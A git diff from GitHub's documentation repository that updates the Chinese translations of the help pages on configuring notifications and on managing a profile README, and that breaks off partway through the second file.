创建自定义筛选器,以便在需要时关注不同的通知。 + - 按仓库或日期对收件箱中的通知进行分组,以快速概览通知,减少上下文切换 -{% ifversion fpt or ghes or ghec %} -In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see "[Managing your notification settings with GitHub Mobile](#managing-your-notification-settings-with-github-mobile)" or "[GitHub Mobile](/get-started/using-github/github-mobile)." +{% ifversion fpt or ghes or ghec %} 此外,可以通过 {% data variables.product.prodname_mobile %} 在移动设备上接收和分类通知。 有关详细信息,请参阅“[使用 GitHub Mobile 管理通知设置](#managing-your-notification-settings-with-github-mobile)”或“[GitHub Mobile](/get-started/using-github/github-mobile)”。 {% endif %} -### Benefits of using an email client for notifications +### 对通知使用电子邮件客户端的优点 -One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)." +使用电子邮件客户端的一个好处是,可以无限期地保留所有通知,具体取决于电子邮件客户端的存储容量。 收件箱通知在 {% data variables.product.prodname_dotcom %} 上仅保留 5 个月,除非将它们标记为“已保存”。 “已保存”通知将无限期保留。 有关收件箱保留策略的详细信息,请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)”。 -Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels. +向电子邮件客户端发送通知还允许您根据电子邮件客户端的设置(可以包括自定义或颜色编码的标签)自定义收件箱。 -Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see "[Customizing your email notifications](#customizing-your-email-notifications)." +电子邮件通知还允许您灵活地设置收到的通知类型,并允许您选择不同的电子邮件地址进行更新。 例如,您可以向经验证的个人电子邮件地址发送仓库的某些通知。 有关电子邮件自定义选项的详细信息,请参阅“[自定义电子邮件通知](#customizing-your-email-notifications)”。 -## About participating and watching notifications +## 关于参与和查看通知 -When you watch a repository, you're subscribing to updates for activity in that repository. Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." +关注仓库,意味着订阅该仓库中的活动更新。 同样,关注特定团队的讨论,意味着订阅该团队页面上的所有对话更新。 有关详细信息,请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”。 -To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see "[Managing subscriptions and notifications on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." +若要查看正在监视的存储库,请参阅[监视页面](https://github.com/watching)。 有关详细信息,请参阅“[在 GitHub 上管理订阅和通知](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)”。 {% ifversion ghae %} -### Configuring notifications -{% endif %} -You can configure notifications for a repository on the repository page, or on your watching page. +### 配置通知 +{% endif %} 可以在存储库页面上或在监视页面上为存储库配置通知。 -### About custom notifications -You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. For more information, see "[Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository)" below. +### 关于自定义通知 +您可以自定义仓库的通知。 例如,您可以选择仅在仓库中发生一类或多类事件 ({% data reusables.notifications-v2.custom-notification-types %}) 的更新时收到通知,或者忽略仓库的所有通知。 有关详细信息,请参阅下方的“[为单个存储库配置监视设置](#configuring-your-watch-settings-for-an-individual-repository)”。 -### Participating in conversations -Anytime you comment in a conversation or when someone @mentions your username, you are _participating_ in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox. +### 参与对话 +每当你在对话中发表评论或有人 @mentions你的用户名时,你都在参与对话。 默认情况下,当您参与对话时,会自动订阅该对话。 你可以通过单击议题或拉取请求上的“取消订阅”或通过通知收件箱中的“取消订阅”选项,手动取消订阅已参与的对话 。 -{% ifversion update-notification-settings-22 %}For conversations you're watching or participating in, you can choose whether you want to receive notifications on {% data variables.product.company_short %} or by email in your notification settings. For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)." +对于你监视或参与的对话,你可以选择是通过电子邮件还是 {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 和 {% data variables.product.prodname_mobile %}{% endif %} 上的收件箱接收通知。 -![Animated GIF of participating and watching subscriptions options](/assets/images/help/notifications/selecting-participating-notifications.gif) +![参与和关注通知选项](/assets/images/help/notifications-v2/participating-and-watching-options.png) -{% else %} +例如: + - 如果不希望将通知发送到你的电子邮件地址,请取消选中“电子邮件”以便参与和监视通知。 + - 如果希望在参与对话时通过电子邮件接收通知,则可以选中“参与”下的“电子邮件”。 -For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox on {% data variables.location.product_location %}{% ifversion ghes %} and {% data variables.product.prodname_mobile %}{% endif %}. For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)." +如果未对 Web{% ifversion fpt or ghes or ghec %} 和移动{% endif %}启用监视或参与通知,则你的通知收件箱不会收到任何更新。 -![Screenshot of participating and watching notifications options](/assets/images/help/notifications-v2/participating-and-watching-options.png){% endif %} +## 自定义电子邮件通知 - - -For example: - - If you don't want notifications to be sent to your email, unselect **email** for participating and watching notifications. - - If you want to receive notifications by email when you've participated in a conversation, then you can select **email** under "Participating". - -{% ifversion update-notification-settings-22 %}If you do not enable "Notify me: On GitHub" for watching or participating notifications, then your notifications inbox will not have any updates. - -{% else %} - -If you do not enable watching or participating notifications for web{% ifversion ghes %} and mobile{% endif %}, then your notifications inbox will not have any updates.{% endif %} - -## Customizing your email notifications - -After enabling email notifications, {% data variables.location.product_location %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.location.product_location %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only. +在启用电子邮件通知后,{% data variables.product.product_location %} 将以多部分电子邮件向你发送通知,其中包含内容的 HTML 和纯文本副本。 电子邮件通知内容包含出现在 {% data variables.product.product_location %} 上的原始内容中的任何 Markdown、@mentions、表情符号、哈希链接等。 如果您只想查看电子邮件中的文本,可以配置电子邮件客户端只显示明文副本。 {% data reusables.notifications.outbound_email_tip %} @@ -111,194 +101,150 @@ After enabling email notifications, {% data variables.location.product_location {% ifversion fpt or ghec %} -If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification. +如果您使用 Gmail,可以单击通知电子邮件旁边的按钮访问生成该通知的原始议题或拉取请求。 -![Buttons in Gmail](/assets/images/help/notifications/gmail-buttons.png) +![Gmail 中的按钮](/assets/images/help/notifications/gmail-buttons.png) {% endif %} -Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.location.product_location %} you want to receive updates for using your default email address. For example, choose whether you want updates to your default email from: - - Comments on issues and pull requests. - - Pull request reviews. - - Pull request pushes. - - Your own updates, such as when you open, comment on, or close an issue or pull request. +选择一个默认电子邮件地址,用于发送您参与或关注的对话的更新。 还可以指定希望使用默认电子邮件地址接收 {% data variables.product.product_location %} 上哪些活动的更新。 例如,选择您的默认电子邮件地址是否要接收以下更新: + - 对问题和拉取请求的评论。 + - 拉取请求评审。 + - 拉取请求推送。 + - 您自己的更新,例如当您打开、评论或关闭议题或拉取请求时。 -Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see "[Choosing where your organization’s email notifications are sent](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)." +您还可以向不同电子邮件地址发送通知,具体取决于拥有仓库的组织。 您的组织可能要求验证特定域的电子邮件地址。 有关详细信息,请参阅“[选择接收组织的电子邮件通知的位置](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)”。 -You can also send notifications for a specific repository to an email address. For more information, see "[About email notifications for pushes to your repository](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)." +您也可以将特定仓库的通知发送到电子邮件地址。 有关详细信息,请参阅“[关于推送到存储库的电子邮件通知](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)”。 {% data reusables.notifications-v2.email-notification-caveats %} -## Filtering email notifications +## 过滤电子邮件通知 -Each email notification that {% data variables.location.product_location %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications. +{% data variables.product.product_location %} 发送的每封电子邮件通知都包含标头信息。 每封电子邮件的标头信息都是一致的,因此可用于在电子邮件客户端中筛选或转发所有 {% data variables.product.prodname_dotcom %} 通知,或特定类型的 {% data variables.product.prodname_dotcom %} 通知。 -If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user. +如果你认为你收到不属于你的通知,请检查 `X-GitHub-Recipient` 和 `X-GitHub-Recipient-Address` 标题。 这些标头显示预期的收件人。 根据您的电子邮件设置,您可能会收到预期发给其他用户的通知。 -Email notifications from {% data variables.location.product_location %} contain the following header information: +来自 {% data variables.product.product_location %} 的电子邮件通知包含以下标头信息: -| Header | Information | +| 标头 | 信息 | | --- | --- | -| `From` address | This address will always be {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'the no-reply email address configured by your site administrator'{% endif %}. | -| `To` field | This field connects directly to the thread.{% ifversion not ghae %} If you reply to the email, you'll add a new comment to the conversation.{% endif %} | -| `Cc` address | {% data variables.product.product_name %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% data variables.notifications.cc_address %}. The possible notification reasons are: | -| `mailing list` field | This field identifies the name of the repository and its owner. The format of this address is always `..{% data variables.command_line.backticks %}`. | -| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." | +| `From` 地址 | 此地址始终是{% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}“站点管理员配置的无需回复电子邮件地址”{% endif %}。 | +| `To` 字段 | 此字段直接连接到线程。{% ifversion not ghae %} 如果你回复电子邮件,将在对话中添加一个新的评论。{% endif %} | +| `Cc` 地址 | 如果你订阅了对话,{% data variables.product.product_name %} 将会 `Cc` 给你。 第二个 `Cc` 电子邮件地址与通知原因匹配。 这些通知原因的后缀是 {% data variables.notifications.cc_address %}。 可能的通知原因包括: | +| `mailing list` 字段 | 此字段识别仓库名称及其所有者。 此地址的格式始终为 `..{% data variables.command_line.backticks %}`。 | +| `X-GitHub-Severity` 字段 | {% data reusables.repositories.security-alerts-x-github-severity %} 可能的严重程度等级包括:
  • `low`
  • `moderate`
  • `high`
  • `critical`
有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”。 | -## Choosing your notification settings +## 选择通知设置 -{% data reusables.notifications.access_notifications %} -{% data reusables.notifications-v2.manage-notifications %} -3. On the notifications settings page, choose how you receive notifications when: - - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)." - - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)." - - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)." {% ifversion fpt or ghec %} - - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} - - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %} +{% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} +3. 在通知设置页面上,选择在以下情况下如何接收通知: + - 在您关注的仓库或团队讨论或参与的对话中发生了更新。 有关详细信息,请参阅“[关于参与和监视通知](#about-participating-and-watching-notifications)”。 + - 您获得了新仓库的访问权限或加入了新团队。 有关详细信息,请参阅“[自动监视](#automatic-watching)”。 + - 存储库中有新的 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[{% data variables.product.prodname_dependabot_alerts %} 通知选项](#dependabot-alerts-notification-options)”。 {% ifversion fpt or ghec %} + - 在使用 {% data variables.product.prodname_actions %} 设置的仓库上有工作流程运行更新。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)”。{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} + - 新部署密钥已添加到属于您作为其所有者的组织的仓库。 有关详细信息,请参阅“[组织警报通知选项](#organization-alerts-notification-options)”。{% endif %} -## Automatic watching +## 自动关注 -By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options in your notification settings. +默认情况下,每当您获得新仓库的访问权限时,您将会自动开始关注该仓库。 每当你加入新团队时,你都会自动订阅更新,并在该团队被 @mentioned时收到通知。 如果不想自动订阅,您可以取消选择自动关注选项。 -{% ifversion update-notification-settings-22 %} -![Automatic watching options for teams and repositories](/assets/images/automatically-watch-repos-and-teams.png) -{% else %} -![Automatic watching options](/assets/images/help/notifications-v2/automatic-watching-options.png){% endif %} + ![自动关注选项](/assets/images/help/notifications-v2/automatic-watching-options.png) -If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. +如果禁用了“Automatically watch repositories(自动关注仓库)”,您将不会自动关注自己拥有的仓库。 您必须导航到仓库页面,然后选择关注选项。 -For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)." +## 配置单个仓库的关注设置 -## Configuring your watch settings for an individual repository - -You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) , or completely ignore an individual repository. +您可以选择关注还是取消关注单个仓库。 您还可以选择仅接收某些事件类型的通知,例如 {% data reusables.notifications-v2.custom-notification-types %} (如果为存储库启用),或者完全忽略单个存储库。 {% data reusables.repositories.navigate-to-repo %} -2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option. - ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom.png) +2. 在右上角,选择“Watch(关注)”下拉菜单以单击关注选项。 +{% ifversion fpt or ghes or ghae-issue-4910 or ghec %} ![存储库下拉菜单中的“监视”选项](/assets/images/help/notifications-v2/watch-repository-options-custom.png) - The **Custom** option allows you to further customize notifications so that you're only notified when specific events happen in the repository, in addition to participating and @mentions. - ![Custom watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) - If you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues. + “自定义”选项可用于进一步自定义通知,以便除了参与和 @mentions之外,你仅在存储库中发生特定事件时才收到通知。 +{% else %} ![存储库下拉菜单中的“监视”选项](/assets/images/help/notifications-v2/watch-repository-options.png){% endif %} {% ifversion fpt or ghes or ghae-issue-4910 or ghec %} ![存储库下拉菜单中的“自定义监视”选项](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) 如果选择“议题”,你将收到存储库中每个议题(包括在你选择此选项之前存在的议题)的更新通知并订阅这些更新。 如果你在此存储库中的拉取请求中被 @mentioned,则除了收到有关议题的通知外,你还将收到有关该特定拉取请求的通知并订阅其更新。 + {% endif %} -## Choosing where your organization’s email notifications are sent +## 选择接收组织的电子邮件通知的位置 -If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address. +如果您属于某个组织,您可以选择要接收组织活动通知的电子邮件帐户。 例如,如果您属于某个工作组织,您可能希望通知发送到您的工作电子邮件地址,而不是您的个人地址。 {% data reusables.notifications-v2.email-notification-caveats %} -{% data reusables.notifications.access_notifications %} -{% data reusables.notifications-v2.manage-notifications %} +{% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} +3. 在“Default notification email(默认通知电子邮件)”下,选择要接收通知的电子邮件地址。 +![默认通知电子邮件地址下拉菜单](/assets/images/help/notifications/notifications_primary_email_for_orgs.png) +4. 单击“ **保存**”。 -3. Under "Default notification email", select the email address you'd like notifications sent to. -{% ifversion update-notification-settings-22 %} +### 自定义每个组织的电子邮件路由 - ![Screenshot of the default notification email address setting](/assets/images/help/notifications/default-email-address-emphasized.png) +如果您是多个组织的成员,您可以配置每个组织发送通知到任何{% ifversion fpt or ghec %} 您已验证的电子邮件地址{% else %} 帐户的电子邮件地址{% endif %}。 {% ifversion fpt or ghec %} 有关详细信息,请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。{% endif %} -{% else %} +{% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} +3. 在“Custom routing(自定义路由)”下,在列表中找到您组织的名称。 +![组织和电子邮件地址列表](/assets/images/help/notifications/notifications_org_emails.png) +4. 单击要更改的电子邮件地址旁边的“编辑”。 +![编辑组织的电子邮件地址](/assets/images/help/notifications/notifications_edit_org_emails.png) +5. 选择一个经验证的电子邮件地址,然后单击“保存”。 +![切换组织对应的电子邮件地址](/assets/images/help/notifications/notifications_switching_org_email.gif) - ![Screenshot of the default notification email address dropdown](/assets/images/help/notifications/notifications_primary_email_for_orgs.png){% endif %} -{% ifversion ghes or ghae %} -4. Click **Save**.{% endif %} +## {% data variables.product.prodname_dependabot_alerts %} 通知选项 -### Customizing email routes per organization +{% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} -If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} +若要详细了解可用的通知传递方法,并查看关于优化 {% data variables.product.prodname_dependabot_alerts %} 通知的建议,请参阅“[为 {% data variables.product.prodname_dependabot_alerts %} 配置通知](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)”。 -{% data reusables.notifications.access_notifications %} -{% data reusables.notifications-v2.manage-notifications %} -{% ifversion update-notification-settings-22 %} -3. Under "Default notifications email", click **Custom routing**. +{% ifversion fpt or ghes or ghec %} +## {% data variables.product.prodname_actions %} 通知选项 - ![Screenshot of default notifications email settings with custom routing button emphasised](/assets/images/help/notifications/custom-router-emphasized.png) +选择您希望如何接收所关注仓库的工作流程运行更新,通过 {% data variables.product.prodname_actions %} 设置。 您也可以选择仅接收关于失败的工作流程运行的通知。 -4. Click **Add new route**. + ![{% data variables.product.prodname_actions %} 的警报选项](/assets/images/help/notifications-v2/github-actions-notification-options.png) - ![Screenshot of custom routing settings with add new route button emphasised](/assets/images/help/notifications/add-new-route-emphasized.png) +{% endif %} -5. Click **Pick organization**, then select the organization you want to customize from the dropdown. +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} +## 组织警报通知选项 - ![Screenshot of dropdown to pick organization](/assets/images/help/notifications/organization-dropdown-custom-routing-emphasis.png) - -6. Select one of your verified email addresses, then click **Save**. - - ![Screenshot of custom routing page with save button](/assets/images/help/notifications/select-email-address-custom-routing-and-save.png) - -{% else %} -3. Under "Custom routing," find your organization's name in the list. - - ![List of organizations and email addresses](/assets/images/help/notifications/notifications_org_emails.png) - -4. Click **Edit** next to the email address you want to change. - - ![Editing an organization's email addresses](/assets/images/help/notifications/notifications_edit_org_emails.png) - -5. Select one of your verified email addresses, then click **Save**. - - ![Switching your per-org email address](/assets/images/help/notifications/notifications_switching_org_email.gif){% endif %} - -## {% data variables.product.prodname_dependabot_alerts %} notification options - -{% data reusables.notifications.vulnerable-dependency-notification-enable %} -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} -{% data reusables.notifications.vulnerable-dependency-notification-options %} - -For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)." - -{% ifversion update-notification-settings-22 or ghes %} -## {% data variables.product.prodname_actions %} notification options - -Choose how you want to receive workflow run updates for repositories that you are watching that are set up with {% data variables.product.prodname_actions %}. You can also choose to only receive notifications for failed workflow runs.{% endif %} - -{% ifversion update-notification-settings-22 %} -![Animated GIF of notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications/github-actions-customize-notifications.gif){% endif %} - -{% ifversion ghes %} - ![Screenshot of the notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png){% endif %} - - -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -## Organization alerts notification options - -If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. +如果您是组织所有者,则当组织成员向组织内的存储库添加新的部署密钥时,默认情况下,您将收到电子邮件通知。 您可以取消订阅这些通知。 在通知设置页面上的“组织警报”下,取消选择“电子邮件”。 {% endif %} {% ifversion fpt or ghes or ghec %} -## Managing your notification settings with {% data variables.product.prodname_mobile %} +## 使用 {% data variables.product.prodname_mobile %} 管理通知设置 -When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events. -- Direct mentions -- Assignments to issues or pull requests -- Requests to review a pull request -- Requests to approve a deployment +安装 {% data variables.product.prodname_mobile %} 时,您将自动选择 web 通知。 在应用程序中,您可以为以下事件启用推送通知。 +- 直接提及 +- 分配到议题或拉取请求 +- 请求审核拉取请求 +- 请求批准部署 -You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device. +您还可以安排 {% data variables.product.prodname_mobile %} 何时向移动设备发送推送通知。 {% data reusables.mobile.push-notifications-on-ghes %} -### Managing your notification settings with {% data variables.product.prodname_ios %} +### 使用 {% data variables.product.prodname_ios %} 管理通知设置 -1. In the bottom menu, tap **Profile**. -2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. -3. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications. -4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. +1. 在底部菜单中,点击“配置文件”。 +2. 要查看设置,请点击 {% octicon "gear" aria-label="The Gear icon" %}。 +3. 要更新通知设置,请点击“通知”,然后使用切换开关来启用或禁用首选类型的推送通知。 +4. (可选)要安排 {% data variables.product.prodname_mobile %} 何时向移动设备发送推送通知,请点击“工作时间”,使用“自定义工作时间”切换开关,然后选择何时接收推送通知 。 -### Managing your notification settings with {% data variables.product.prodname_android %} +### 使用 {% data variables.product.prodname_android %} 管理通知设置 -1. In the bottom menu, tap **Profile**. -2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. -3. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications. -4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. +1. 在底部菜单中,点击“配置文件”。 +2. 要查看设置,请点击 {% octicon "gear" aria-label="The Gear icon" %}。 +3. 要更新通知设置,请点击“配置通知”,然后使用切换开关来启用或禁用首选类型的推送通知。 +4. (可选)要安排 {% data variables.product.prodname_mobile %} 何时向移动设备发送推送通知,请点击“工作时间”,使用“自定义工作时间”切换开关,然后选择何时接收推送通知 。 -## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} +## 使用 {% data variables.product.prodname_mobile %} 配置个别仓库的关注设置 -You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository. +您可以选择关注还是取消关注单个仓库。 你也可以选择接收{% ifversion fpt or ghec %}特定事件类型,如议题、拉取请求、讨论(如已对存储库启用)以及{% endif %}新版本的通知,或者完全忽略单个存储库。 -1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository. -2. Tap **Watch**. - ![The watch button on {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png) -3. To choose what activities you receive notifications for, tap your preferred watch settings. - ![Watch settings dropdown menu in {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png) +1. 在 {% data variables.product.prodname_mobile %} 上,导航到存储库的主页面。 +2. 点击“监视”。 + ![{% data variables.product.prodname_mobile %} 上的监视按钮](/assets/images/help/notifications-v2/mobile-watch-button.png) +3. 要选择接收通知的活动,请点击首选的关注设置。 + ![{% data variables.product.prodname_mobile %} 中的监视设置下拉菜单](/assets/images/help/notifications-v2/mobile-watch-settings.png) {% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md index b7f02b36e0..1b6126e3d2 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md @@ -1,6 +1,6 @@ --- -title: Managing your profile README -intro: 'You can add a README to your {% data variables.product.prodname_dotcom %} profile to tell other people about yourself.' +title: 管理个人资料自述文件 +intro: '可以向您的 {% data variables.product.prodname_dotcom %} 个人资料添加自述文件以向其他人介绍自己。' versions: fpt: '*' ghes: '*' @@ -11,67 +11,71 @@ redirect_from: - /github/setting-up-and-managing-your-github-profile/managing-your-profile-readme - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme shortTitle: Your profile README +ms.openlocfilehash: 587bcea1e1a0f96aad8882b41196afcc6e433363 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147578898' --- -## About your profile README +## 关于您的个人资料自述文件 -You can share information about yourself with the community on {% data variables.location.product_location %} by creating a profile README. {% data variables.product.prodname_dotcom %} shows your profile README at the top of your profile page. +你可以通过创建个人资料自述文件,在 {% data variables.product.product_location %} 上与社区分享有关你自己的信息。 {% data variables.product.prodname_dotcom %} 在个人资料页面的顶部显示您的个人资料自述文件。 -You decide what information to include in your profile README, so you have full control over how you present yourself on {% data variables.product.prodname_dotcom %}. Here are some examples of information that visitors may find interesting, fun, or useful in your profile README. +您决定在个人资料自述文件中包含哪些信息,因此您可以完全控制如何在 {% data variables.product.prodname_dotcom %} 上展示自己。 以下是访客可能在您的个人资料自述文件中找到感兴趣、有趣或有用信息的一些示例。 -- An "About me" section that describes your work and interests -- Contributions you're proud of, and context about those contributions -- Guidance for getting help in communities where you're involved +- “About me(关于我)”部分介绍您的工作和兴趣。 +- 您引以为豪的贡献以及这些贡献的背景信息 +- 在您参与的社区获得帮助的指南 -![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png) +![个人资料上显示的个人资料自述文件](/assets/images/help/repository/profile-with-readme.png) -You can format text and include emoji, images, and GIFs in your profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github)." For a hands-on guide to customizing your profile README, see "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)." +您可以使用 {% data variables.product.company_short %} Flavored Markdown 在个人资料自述文件中设置文本格式和包含表情符号、图像及 GIF。 有关详细信息,请参阅“[在 {% data variables.product.prodname_dotcom %} 上编写和设置格式入门](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github)”。 -## Prerequisites +## 先决条件 -GitHub will display your profile README on your profile page if all of the following are true. +如果满足以下所有条件,GitHub 将在您的个人资料页面显示您的个人资料自述文件。 -- You've created a repository with a name that matches your {% data variables.product.prodname_dotcom %} username. -- The repository is public. -- The repository contains a file named README.md in its root. -- The README.md file contains any content. +- 您使用与您的 {% data variables.product.prodname_dotcom %} 用户名匹配的名称创建了仓库。 +- 该仓库为公共仓库。 +- 仓库的根目录中包含名为 